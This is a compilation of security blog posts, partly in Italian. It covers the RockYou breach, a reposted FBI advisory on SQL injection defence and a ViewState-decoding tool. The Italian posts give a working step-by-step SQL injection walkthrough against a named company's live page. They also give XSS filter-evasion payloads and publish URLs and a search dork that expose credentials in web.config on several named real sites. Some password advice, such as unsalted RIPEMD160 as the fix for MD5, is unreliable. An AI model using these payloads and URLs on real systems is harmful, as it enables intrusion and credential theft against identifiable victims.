32 millions accounts stolen? An inconvenient truth
A site for social networking developers has been hit with a major SQL Injection attack that exposed more than 30 million user names and passwords RockYou, a site that delivers widgets for social networking developers for MySpace, Facebook and other. The bug has been fixed but not before the hacker it.
In fact, the hacker that goes by the alias “igigi” has published on the 15th of December on his blog the Rockyou database structure along with samples of the stolen data. The hacker claims he has downloaded over 32,603,388 (32 millions) user accounts.
Rockyou is currently making users aware of what happened and what they are doing in order to reduce the harm.
“We are investigating the data breach, reviewing our security protocols, and implementing new practices to prevent this from happening again. For example, we are taking the following steps:
1. We are encrypting all passwords;
2. We are upgrading the legacy platform with the same infrastructure and industry standard security protocols we employ on our partner applications platforms;
3. We are reviewing our current data security features and ensuring that they meet industry standards and best practices; and
4. We are cooperating with Federal authorities to investigate the illegal breach of our database.We are sorry for the inconvenience this illegal intrusion onto the RockYou system has caused our users. We will continue to advise our users of any information that would help them.
What we can learn from this accident is quite obvious, SQL Injection is still one of the most popular threats, and of course, storing password as simple plaintext is definitely one of the biggest mistakes you can do while architecting a web application. This is why less than a month ago I was writing here on cyphersec.com a series of best practices aimed at increasing web application security. I’m sure I’ll add the Rockyou accident to the list of real world examples that proves why having plaintext passwords is a bad idea.
Rule 14# - Never compare passwords, compare the hash. Do not use MD5 which could be hacked using Rainbow tables, use RIPEMD160 instead.
Anyway, the worst part of the story is not the reputation of Rockyou which, obviously, has been hit hard - the problem is people still considering the side effects of non implementing application security as an inconvenient.
DarkReading – Social Networking Developer Site Database Hacked In Sql Injection Attack
Owasp Foundation – SQL Injection Prevention Cheat Sheet
cyphersec.com – Security Best Practices: ASP.NET Applications
cyphersec.com – Toyo Tires, How to steal a database (Italian Language)
FBI and US Secret Service Advisory provides preventive measures against SQL Injection (MSSQL/IIS/.NET)
Recommendation 1: Disable potentially harmful SQL stored procedure calls.
The xp_cmdshell, OPENROWSET, and OPENDATASOURCE stored procedures should be disabled on all databases unless they are explicitly serving a business need within the network.
The xp_cmdshell procedure allows someone to execute commands on a local system from the database, with the permissions of the service account used for the database. The OPENROWSET and OPENDATASOURCE procedures allow one to cause the database to transfer data from the local database to a remote database and vice versa.
The following two steps should be taken to remove the potentially harmful stored procedure calls.
1. Disable access to the xp_cmdshell functions within Microsoft SQL Server.
Microsoft SQL Server 2000
EXEC sp_dropextendedproc 'xp_cmdshell'
Microsoft SQL Server 2005
EXEC sp_configure 'xp_cmdshell', 0
2. Remove the "xplog70.dll" file from the server.
If it is necessary to use the potentially harmful stored procedure calls, limit the exposure by applying IP filters on the SQL servers. Assign explicit ALLOW rules to the interfaces for the application the SQL server is supporting. Disallow communication between SQL Server hosts unless an application necessitates otherwise.
Recommendation 2: Deny extended URLs.
Excessively long URLs can be sent to Microsoft IIS servers, causing the server to fail to log the complete request. Unless specific applications require long URLs, set a limit of 2048 characters. Microsoft IIS will process requests over 4096 bytes long, but will not place the contents of the request in the log files. This has become an effective means to evade detection while performing attacks.
1. Modify "%windir%\system32\inetsrv\urlscan\urlscan.ini"
i. Ensure "MaxQueryString=2048" is present
ii. Ensure "LogLongUrls=1" is present
Recommendation 3: Implement specific approaches to secure dynamic web site content.
Certain measures can be taken to mitigate the risk of these types of attacks by developing a secure code base. The steps below are a few of the best practices for secure coding that will help prevent the attack associated with this incident. Additional information can be found at http://msdn2.microsoft.com/en-us/library/ms998271.aspx.
1. Replace escape sequences
private string SafeSqlLiteral(string inputSQL) { return inputSQL.Replace("'", "''"); }
2. Use parameters with stored procedures
using (SqlConnection connection = new SqlConnection(connectionString)) { DataSet userDataset = new DataSet(); SqlDataAdapter myDataAdapter = new SqlDataAdapter( "SELECT au_lname, au_fname FROM Authors WHERE au_id = @au_id", connection); myCommand.SelectCommand.Parameters.Add("@au_id", SqlDbType.VarChar, 11); myCommand.SelectCommand.Parameters["@au_id"].Value = SSN.Text; myDataAdapter.Fill(userDataset); }
3. Constrain input in ASP.NET web pages
if (!Regex.IsMatch(userIDTxt.Text, @"^[a-zA-Z'./s]{1,40}$")) throw new FormatException("Invalid name format");
Recommendation 4: Install and run authorized Microsoft SQL Server and IIS services under a non-privileged account.
Unless a specific application requires system or administrative level permissions, all instances of Microsoft SQL Server and IIS should run under accounts with restricted user permissions.
Recommendation 5: Apply the principle of 'least privilege' on all SQL machine accounts.
The attackers generally create tables into which they store malware or data collected from the enterprise. Unless specific applications dictate otherwise, restrict the capabilities of the accounts used to modify databases on the servers. In particular, remove the ability to create new tables, denying the attackers a means of transporting malware and stolen data.
Recommendation 6: Require the use of a password on Microsoft SQL Server administrator, user, and machine accounts.
Several SQL servers examined had an empty password on the "sa" SQL account. All accounts with access to resources should be protected with passwords or certificates.
Recommendation 7: Lock out accounts on the mainframes after several unsuccessful logon attempts.
Locking accounts and requiring IT support to restore service aids in protection against brute force attacks. This can serve as an early detection of potential security problems.
Recommendation 8: Run the minimum required applications and services on servers necessary to perform their intended function.
Several servers, to include Active Directory master servers, have unnecessary software installed (e.g. Microsoft Office). In addition, ensure that no unnecessary services are running. This includes SQL Server and SQL Server Express on support and other workstations. Should these services be necessary, restrict access through IP filters on Microsoft Windows or through third-party firewall software.
Recommendation 9: Deny access to the Internet except through proxies for Store and Enterprise servers and workstations.
Attacks on victim networks make extensive use of HTTP, HTTPS, and DNS network ports. Denying direct access to the Internet will frustrate and mislead an attacker.
Recommendation 10: Implement firewall rules to block or restrict Internet and intranet access for database systems.
Disallow all traffic outbound from servers harboring sensitive data. Communication to the SQL servers and data warehousing servers should be tightly controlled. Restrict traffic between data centers and stores to essential ports and services only.
Recommendation 11: Implement firewall rules to block known malicious IP addresses.
Firewall rule sets designed to block all ingress (incoming) and egress (outgoing) traffic to the known malicious IP addresses have been put in place. Note that traffic violating the rules should be logged and observed in near-real time.
Recommendation 12: Ensure your HSM systems are not responsive to any commands which generate encrypted pin blocks. More specifically, HSMs should not accept commands that allow plain text PINs as an argument and respond with encrypted PIN blocks.
A PDF version of this document can be downloaded from http://usa.visa.com.
Guess what? This advisory was ignored by Heartland, Hannaford’s and 7-11 as they were targeted using SQL Injection attack vectors that lead to a massive theft of over 130 million credit and debit card accounts.
ASP.NET Hack: Open a page in a new browser tab using Response.Redirect and JavaScript
StringBuilder javascriptInjector = new StringBuilder();
javascriptInjector.Append("<script language='javascript'>");
javascriptInjector.Append("window.open('");
javascriptInjector.Append("~/Folder/Page.aspx?QueryStringValue=Value");
javascriptInjector.Append("');");
javascriptInjector.Append("</script>");
string vPath = javascriptInjector.ToString().Replace("~", Request.ServerVariables["PATH_INFO"]);
Response.Write(javascriptInjector);
Hacking ViewState for Fun and Profit
The View State object is stored in a single Base64-encoded string that looks like this:
1: <input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="dDw3NDg2NTI5MDg7Oz4="/>
Becase this value isn't formatted as clear text, many ASP.NET programmers assume that their view state date is encrypted. A clever hacker could reverse-engineer this string and examine your view state data in a matter of seconds.
Here a POC that show how it can be done.
Filename: firenze.aspx.cs
1: /// ########################################################################################################################
2: /// Tool Name : Firenze
3: /// Author : Alessio "nTze" Marziali
4: /// Contact : alessio@cyphersec.com
5: /// Url: http://www.cyphersec.com
6: /// Note: Microsoft ASP.NET is a powerfull web application framework available on the market.
7: /// It's being used in big enviroments to build robuts and scalable web applications.
8: /// Unfortunatelly, due to lack of skills, some so called ASP.NET developers are not investing time in security.
9: ///
10: /// ASP.NET Security is gettin more and more important due to the fact which it gives it's best on Large
11: /// Enterprise Web Application scenarios.
12: ///
13: /// This tool was born based on the idea to show how reading sensitive informations can be possible
14: /// on Web-Applications like E-Banks which are implementing ViewState Object.
15: /// ########################################################################################################################
16: using System;
17: using System.Web;
18: using System.Web.UI;
19: using System.Web.UI.HtmlControls;
20: using System.Web.UI.WebControls;
21:
22: /// <summary>
23: /// Hacking ViewState:
24: /// Because isn’t formatted as clear text, many ASP.NET programmers assume that their
25: /// view state data is encrypted. It isn’t. A clever hacker could reverse-engineer this string and examine
26: /// your view state data in a matter of seconds (here how).
27: /// </summary>
28: public partial class _Default : System.Web.UI.Page
29: {
30: protected void Page_Load(object sender, EventArgs e)
31: {
32: Page.Title = "Firenze : ViewState automated hacking tool";
33: TextBox UITextBox = new TextBox(); // Create a TextBox Item
34:
35: // Set properties
36: UITextBox.TextMode = TextBoxMode.MultiLine;
37: UITextBox.Wrap = true;
38: UITextBox.Rows = 10;
39: UITextBox.Width = 300;
40: UITextBox.ID = "UIViewStateCode1";
41: UITextBox.CssClass = "viewStateBox";
42: UITextBox.Text = "ViewState Goes here";
43:
44: // Show through UIReader1 (PlaceHolder)
45: UIReader1.Controls.Add(UITextBox);
46:
47: // UIButton properties
48: UIButton1.Text = "Decode ViewState";
49: UIButton1.Width = UITextBox.Width;
50: }
51:
52: /// <summary>
53: /// UIButton1_Click Event Handler
54: /// </summary>
55: /// <param name="sender">object</param>
56: /// <param name="e">EventArgs</param>
57: protected void UIButton1_Click(object sender, EventArgs e)
58: {
59: // Check if a TextBox Control exist within the page
60: TextBox RetriviedControl = null;
61: try
62: {
63: RetriviedControl = (TextBox)Page.FindControl("UIViewStateCode1");
64: UILiteral.Text = ReadViewState(RetriviedControl.Text);
65: }
66: catch (NullReferenceException)
67: {
68: UILiteral.Text = "Can find textbox control, giving up..";
69: }
70: }
71:
72: /// <summary>
73: /// TheViewState contains the view state information.
74: /// Convert the Base64 string to an ordinary array of bytes
75: /// representing ASCII characters.
76: /// </summary>
77: /// <param name="TheViewState">System.String - ViewState</param>
78: /// <returns>System.String - Human readeable Code</returns>
79: protected internal string ReadViewState(string theViewState)
80: {
81: string decodedViewState = string.Empty;
82: try
83: {
84: byte[] stringBytes = Convert.FromBase64String(theViewState); // Create an Array of bytes
85: decodedViewState = System.Text.Encoding.ASCII.GetString(stringBytes); // Enconde 7bit set
86: }
87: catch (System.FormatException)
88: {
89: return "Sorry, Looks like you were looking for something i can't read";
90: }
91: return decodedViewState;
92: }
93: }
Filename: firenze.aspx
1: <%@ Page Language="C#" AutoEventWireup="true" EnableViewState="false" CodeFile="Default.aspx.cs" Inherits="_Default" %>
2: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
3: <html xmlns="http://www.w3.org/1999/xhtml">
4: <head runat="server">
5: <link rel="Stylesheet" href="Css/StyleSheet.css" type="text/css" />
6: <title>Hacking My Own ViewState</title>
7: </head>
8: <body>
9: <form id="form1" runat="server">
10: <asp:PlaceHolder id="UIReader1" runat="server" /><br /><br />
11: <asp:Button ID="UIButton1" runat="server" onclick="UIButton1_Click" />
12: <br /><br />
13: <asp:Literal ID="UILiteral" runat="server" />
14: </form>
15: </body>
16: </html>
Over the Air – 48 hours of mobile development
I'll definitely be there, maybe not just for the whole time but.. please, if you are coming and you want to have fun together and see what the mobile development will be in the next years.. let me know.
Following a little description of the event, you can read more on the official site.
Over the Air is a special event being organised by Mobile Monday London, hosted by Imperial College and supported by the BBC. 48 hours of mobile and wireless development by and for the leading lights in the industry.
The last few months have been pretty crazy in the mobile world. The iPhone has caught many peoples imagination but so has the idea of Android which seems to be the most wanted device of 2008. On top of these two changes to the mobile world, the UK mobile operators have all announced all you can eat data plans which consumers can actually afford. These changes plus HSDPA (3.5g) dongles and almost ubiquitous wireless across most cities. Its not hard to see why everyone involved in Over the Air is certain, 2008 is almost a perfect storm for the mobile and wireless world.
[01] HackAttack – How to steal a database

Oggi è successa una cosa strana, durante il lavoro mi è stato chiesto da un amico un esempio "vero" di sql-injection. Li sul momento avevo molte cose da sbrigare.. e così lo rimandai a questo advisory. Tornato con un triste "ma è un or.. tutti sanno mettere una or" è scattato qualcosa. Quello che dice il mio amico è vero.. una or la sanno mettere tutti.. (ndcs basta cercare su forum italiani con google et voilà.. nomi come sonounhackercazzutppercheusogliexploitdeglialtri.com).
Ma con SQL Injection (e sue derivate) cosa ci posso veramente fare? Cioè, il massimo è scrivere una news nel sito bucato con scritto HACKED! by iosuperhacker?
Ma se io fossi un criminale. Se fossi una persona che può guadagnare (e anche forte) cosa potrei veramente fare? Sono specializzato nelle applicazioni web. Il 70% delle mie attività lavorative ha a che fare con programmi per il web. E' 8 anni che faccio questo lavoro, 10 che batto tasti su tastiere. Ti viene naturale scoprire delle vulnerabilità. Cerchi di capire il codice.. mentre la gente non riesce ad andare oltre l'interfaccia grafica. Ritornando alla frase
"ma è un or.. tutti sanno mettere una or"
Per quanto ne so io, tutti parlano di sql injection. Ma nessuno ha mai avuto il coraggio di documentare come sia possibile eseguire l'exploit su di un server. Di un server di produzione. di un sito reale.. con indirizzi e codice reale.
Se mi costerà qualcosa, beh vedremo (viva la libertà d'informazione).
L'inizio
27 Novembre 2007 - Advisory Toyo Tires. Vi ricordate le simpatiche SQL Injection di cui soffriva l'applicativo CMS? Bene, i signori della toyo (ed il loro reparto IT) hanno ben deciso di condividere l'idea del software insicuro ed hanno scritto la pagina dealers.asp. Ok cool, ma chi mi spiega che senso ha linkare una pagina autrice di operazioni su database (scrittura,lettura,delete) prima del login?
Che ci faccio con questa pagina?
select * from dealers where campo1 like '%%' or campo2 like '%%' or campo3 like '%%'
Allora la pagina ad ogni action del form non fa altro che postare a se stessa una variabile di nome text, la quale viene valorizzata con il valore inserito dall'utente. Questo è il nostro ingresso. La prima cosa da fare è cercare di recuperare informazioni da altre tabelle oltre che a quella dei dealers.
Problema: "Devo trovare delle altre tabelle, come faccio?"
Troncare la query ed inserire un altra interrogazione di recupero. Come? Ogni database SQL-Server ha le sue fantastiche tabelle/viste di sistema, le quali indicizzano tutti gli oggetti presenti all'interno del database (tab,viste,stored,etc) del database. Dio benedica chi ha avuto questa idea! Le tabelle sono indicizzate all'interno di INFORMATION_SCHEMA.TABLES ha diverse colonne, quella che interessa è la colonna TABLE.NAME. Lanciamo la query
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%CUSTOMER%' --
così facendo completiamo la query in questo modo
select * from dealers where campo1 like '%provone';select
top 1 table_name FROM INFORMATION_SCHEMA.TABLES
where table_name like '%customer%' --%' or
campo2 like '%%' or campo3 like '%%'
perfetto, lanciamo la query.. non va. uhm.. Qualcosa non sta funzionando (la query restituisce due gruppi sperati di valori e non riesce ad unirle all'interno del recordset), la prima cosa che mi viene in mente è la UNION. Non riesco ad unire il risultati, le due query sono separate e il programma non le riesce a digerire. La query non è andata in errore, non ho ricevuto alcun errore SQL. Quindi ha funzionato, ma io non la riesco a vedere.
Si union, devo unire le due query. Bel casino, perchè? Per via dell'errore che si riceve quando si esegue questa query
provone' UNION SELECT 1 from sysobjects;--
ritorna
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.
La tabella dealers ha più campi di quelli restituiti da sysobjects.. devo quindi capire quanti campi ha dealers e da li iniziare a craftare sql per far bilanciare l'equazione. Si parte scrivendo query
provone' union select 1,null;--
Ed aggiungere un NULL, fin tanto che il database non ritorna più errore. Nel nostro caso la nostra tabella di query principale ha 29 campi; ecco la query
provone' UNION SELECT
1,1,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL
WHERE 1=1 --
Ora nasce un altro problema, il numero massimo di record che possiamo utilizzare è uno solo.
Rilanciamo la query precedente per il recupero tabelle in modo che restituisca un solo valore
provone' UNION SELECT 1,(SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%customer%'),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL
WHERE 1=1 --
"Houston abbiamo la tabella". La query può essere modificata a piacimento, e con un programmino per automatizzare il tutto si possono trovare la quasi totalità delle query. A dire il vero - tanto questa sera è andata così - non è il massimo del divertimento. A manina, non c'è altro modo!
Ora che abbiamo trovato il modo di trovare le tabelle è necessario andare a recuperare le colonne. Per questo tipo d'interrogazioni ci "appoggeremo" su INFORMATION_SCHEMA.COLUMNS
provone' UNION SELECT 1,(SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%customer%'),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL
WHERE 1=1 --
Visto che address1 non è prossimo il massimo se si cerca un campo "di valore" continuamo a ciclare i dati. Questa volta è necessario aggiungere una ulteriore clausola alla query. Ovvero, mostrami la prima colonna disponibile della tabella che non sia address1.
provone' UNION SELECT 1,(SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='tbl_storeCustomer' and COLUMN_NAME NOT IN ('address1')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL WHERE 1=1 --
Si continua a scoprire campi aggiungendo "and COLUMN_NAME NOT IN ('address1','address2')" e così via. Vi accellero i risultati, ecco la query che mostra l'ultima colonna della tabella
provone' UNION SELECT 1,(SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='tbl_storeCustomer' AND COLUMN_NAME NOT IN ('address1','address2','city','country','dateAdded','email','fax','firstname','lastname','listingID','mpListingId','optin_mailing_list','phone','phoneOrder','phone2','retailerID','state','storeCustomerID','userID','zip')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL WHERE 1=1 --
Le tabelle che sono saltate fuori dopo circa 40 minuti in totale sono:
tbl_contracts_order_product
ListingProductID
tbl_channel_order
rptRetailerBids
tbl_partnerPayment
tbl_retailerGroupBuyParts
tbl_magazineSubs
tbl_listingProductPartsVehicle
tbl_listingProductOptimized
vMPtopBiddersCurrentMonth
mgmt_Manufacturers with signed contracts
tbl_paceEdwards_Dealers
tbl_listingSpotlight
tbl_mpUserStat
ChannelVehicle
tbl_Ad_PhotoSpot
tbl_vendor_productType
tbl_announcements
tbl_site
tbl_vehicleYear
LastEscrowDepost
tbl_mpConfig
tbl_banner
Una volta che avete in mano tabelle e relative colonne potete tranquillamente interrogare il database e rubare i dati per cui vi è stato chiesto di lavorare.
Se volete capire le cose che si possono fare con TSQL su internet è pieno di dimostrazioni, fate voi. Se invece sapete dove mettere le mani vi consiglio questa reference di stored procedures di sistema (sp_denylogin , xcmd_shell? anyone?).
Nel caso vi possa essere utile, riporto la sql injection per verificare che una determinata stored esista.
provone' UNION SELECT 1,(SELECT ROUTINE_NAME FROM INFORMATION_SCHEMA.ROUTINES WHERE ROUTINE_DEFINITION LIKE '%sp_a%'),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL WHERE 1=1 --
Dopo tutto quello che è stato provato è possibile:
- Inserire modificare cancellare dati/tabelle/database
- Eseguire stored di sistema
- Spegnere la macchina su cui gira il database server
- Recuperare importanti informazioni (anche private)
- Causare seri danni
Tutto questo per non aver validato una banale form. 10 minuti (non di più) di lavoro e questo post non esisterebbe.
Nota bene: "Per questo esempio non è stato violato alcun sistema di protezione, non è stato aggirato nessun messaggio di accesso riservato ed esclusivo."
Vado a prepararmi un piatto di pasta, devo ancora cenare. Per questa volta niente conclusioni, ne morali.
Come violare Filtri XSS
Quando si parte ad eseguire controlli e verifiche su applicativi importanti è necessario prestare la massima attenzione a quello che si sta facendo. Spesso c'imbattiamo in sistemi atti a prevenire ed evitare vulnerabilità di varie classi. La maggior parte di essi si compongono di sistemi "d'alterazione" e/o "pulizia" dell'input ricevuto. Facciamo un esempio, parliamo di Filtri XSS.
Per quanto abbiamo visto nei precedenti post e/o in tutti le rilevazioni di vulnerabilità XSS, il codice classico di esempio è:
<script>alert("Questo è un alert che dimostra vulnerabilità XSS")</script>
Nel caso in cui questo messaggio non si verifichi, considerare l'applicazione sicura è decisamente errato. Perchè? Nel primo caso è necessaio verificare come l'applicativo sta "digerendo" il nostro codice. Di media sono necessari pochi secondi per capire dove e cosa stiamo sbagliando.
Un esempio classico può essere
<INPUT type="text" value='<SCRIPT>alert("XSS")</SCRIPT>'>
Cosa sia necessario fare è piuttosto chiaro. Dobbiamo chiudere il tag input senza dimenticarci di chiudere la proprietà value. In questo modo il nostro "payload" viene craftato nel seguente modo:
'><script>alert('XSS')</script>
il quale di fatto verrà verificato come codice corretto. E quindi visualizzato a video. Avanza un problema però. Inserendo questo payload resteranno eclusi dalla renderizzazione due caratteri '>. Questo è dovuto dal fatto che il codice verrà trasformato in
<input type="text value =''><script>alert('XSS')</script>'>
Ora, non nel nostro caso: gli attacchi XSS vengono condotti per scopi ben più che differenti che da quelli legali. Pertanto, un paio di caratteri renderizzati a video privi di senso potrebbero destare sospetti. Soluzione? Creare un tag inesistente.
Payload:
'><script>alert('Questa volta funziona')</script><miotag='a
Codice generato
<input type="text value =''><script>alert('Questa volta funziona')</script><miotag='a'>
miotag è spudoratamente inventato, ma non essendo un tag valido.. non verrà renderizzato a video. Ma entriamo nel vivo dell'argomento ed affrontiamo i più banali filtri xss.
Consideriamo il fatto che i programmatori del sito che stiamo analizzando hanno inserito il classico sistema di sostituzione e duplicazione di single e double quote ' ". Il nostro payload a questo punto verrebbe renderizzato come
<INPUT type="text" value='\'><SCRIPT>alert(\"XSS\")</SCRIPT>'>
Naturalmente questo codice non funzionerà mai. Dopo esserci accertati di avere a che fare con questo tipo di filtro, l'unica soluzione possibile è quella di smettere di lavorare con i double\singles quotes.
Ora molti di voi si chiederanno:
"Ma come faccio a non utilizzare i double quotes?"
Risposta : String.fromCharCode,
Cercando rapidamente su w3schools scopriamo che: The fromCharCode() takes the specified Unicode values and returns a string.
Con i valori di una tabella decimale alla mano, possiamo andare a scrivere tranquillamente i nostri amati double quotes. Ecco un esempio (renderizza a video "XSS")
1: <script type="text/javascript">
2: document.write(String.fromCharCode(34,88,83,83,34))
3: </script>
stando a quanto abbiamo detto fin ora, per eludere completamente questo filtro XSS è necessario scrivere del codice simile a quello che segue.
1: <SCRIPT>
2: alert(String.fromCharCode(88,83,83))
3: </SCRIPT>
Advisory: lanuovastagione.it ed altri [xss e le credenziali amministrative in chiaro]
Sarò sincero. E' tutto il giorno che mi pongo la domanda : "dovrei rilasciare pubblicamente le vulnerabilità rilevate o dovrei contattare direttamente il vendor ed informarlo del tutto?"
Non ce la faccio.
Domenica scorsa parlavo di un interessante argomento. L'importanza dei programmatori nell'era del mondo digitale. Siamo a tre giorni dalle primarie ed ecco come si presenta il comitato per il partito democratico di Walter Veltroni & company. Una catastrofe.
Mi rendo conto di rischiare e anche grosso pubblicando queste informazioni. Ma qualcuno deve pur capire a cosa si va incontro continuando a portare avanti questa politica di settore.. ahimè totalmente errata.
Partiamo da Cross Site Scripting. La pagina index.aspx, attraverso il non controllo della variabile GET t può condurre a differenti exploit. Ecco un esempio. Il codice javascript non codificato HTML è il seguente
1: </xss
2: /*complimenti signori*/
3: style=xss:expression(alert('owned'))
4: >
il quale codificato HTML si trasforma in
1: /* Cyphersec.com
2: 11 settembre 2007
3: www.lanuovastagione.it [index.aspx] || craftato con IE ||
4: variabile GET t non verificata >> XSS
5: */
6:http://www.lanuovastagione.it/gw/producer/index.aspx?t=%3C%2Fxss%2F%2Acomplimenti%20signori%2A%2Fstyle%3Dxss%3Aexpression%28alert%28%27owned%27%29%29%3E
Ma non finisce qui. Le vulnerabilità SQL Injection (su ricerca.aspx) diventano inutili quando possiamo tranquillamente andare a recuperare username e password ed altre informazioni "critiche" dal file web.config. Si avete letto bene. L'applicativo in questione vi mostrerà tutto.. ma proprio tutti i file che sono presenti all'interno della directory virtuale. Come?
Aprite il sito www.lanuovastagione.it nel menù in alto identificate la voce "discorsi ed intervalli" controllate il link a cui porta. DING!
vedete la nostra tanto amata variabile t? si vedete bene. questa variabile.. legge il contenuto della pagina (occhio ai valori querystring) /documenti/indice.htm e ne renderizza il contenuto a video. Bene perfetto.. complimenti ancora.
Come i programmatori .NET sapranno.. le applicazioni web "dovrebbero" archiviare le informazioni importanti in un file chiamato web.config. Questo file non può (e grazie a dio) essere visualizzato a video attraverso una chiamata diretta. Per esempio
1: http://www.lanuovastagione.it/web.config
vi ripoterà ad una pagina .NET la quale v'informerà che non potete visualizzare il suo contenuto perché a livello di architettura il framework non lo permette. giustissimo.
Con dispiacere.. andando a trasformare t=/documenti/indice.htm&<serie di chiave valore> in t=\web.config arriviamo a questo link
1: http://www.lanuovastagione.it/gw/producer/index.aspx?t=/web.config
Cosa ho fatto? ho semplicemente chiesto di chiamare sulla root principale il file web.config. Se notate si aprirà una pagina totalmente bianca (o del colore di background da voi impostato). Tutto qui? No. La pagina è stata correttamente renderizzata.. solo che non è visibile... Ora provate a fare "Visualizza Sorgente Pagina" o (se preferite) "View Source" e copritevi gli occhi.
username e password + databasename del database contenete i contenuti del portale. Poco importa se il database, a prima vista, sembra non essere totalmente esposto su internet. Ma che dire dei valori "impersonateLogin" e "ImpersonatePassword" oppure dei valori contenuti nel ramo "credentials"?
Vergogna.
update : su suggerimento di Denis, utilizzando la dork "inurl:/index.aspx?t=" sono "saltati" fuori altri siti vulnerabili.
http://www.diregiovani.it/gw/producer/index.aspx?t=/web.config
http://www.dsonline.it/gw/producer/index.aspx?t=/web.config
http://www.saperidemocratici.it/gw/producer/index.aspx?t=/web.config
http://www.italiafrica.it/gw/producer/index.aspx?t=/web.config
http://bologna07.festaunita.it/gw/producer/index.aspx?t=/web.config
http://byebye900.festaunita.it/gw/producer/index.aspx?t=/web.config
Youtube.. ma allora è un vizio
Perchè dovrei conservare i vostri cookie per.. uhm.. 10/13 anni?